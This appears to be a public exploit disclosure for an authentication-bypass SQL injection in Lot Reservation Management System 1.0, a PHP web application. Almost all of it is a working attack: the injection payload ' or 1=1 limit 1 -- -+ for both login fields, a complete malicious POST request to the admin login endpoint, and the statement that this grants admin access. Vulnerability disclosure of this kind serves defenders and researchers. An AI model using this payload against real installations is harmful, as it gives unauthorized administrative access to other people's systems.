Lot Reservation Management System 1.0 SQL Injection

`#Exploit Title: lot reservation management system 1.0 - Authentication Bypass  
#Date: 2020-10-22  
#Exploit Author: Ankita Pal  
#Vendor Homepage: https://www.sourcecodester.com/php/14530/lot-reservation-management-system-using-phpmysqli-source-code.html  
#Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/lot-reservation-management-system.zip  
#Version: V1.0  
#Tested on: Windows 10 + xampp v3.2.4  
  
  
Proof of Concept:::  
  
Step 1: Open the URL http://localhost:8081/lot-reservation-management-system/admin/login.php   
  
Step 2: use payload ' or 1=1 limit 1 -- -+ for both username and password.  
  
  
Malicious Request:::  
  
POST /lot-reservation-management-system/admin/ajax.php?action=login HTTP/1.1  
Host: localhost:8081  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0  
Accept: */*  
Accept-Language: en-GB,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 71  
Origin: http://localhost:8081  
Connection: close  
Referer: http://localhost:8081/lot-reservation-management-system/admin/login.php  
Cookie: PHPSESSID=q9kusr41d3em013kbe98b701id  
  
username='+or+1%3D1+limit+1+--+-%2B&password='+or+1%3D1+limit+1+--+-%2B  
  
You will be login as admin of the application.  
`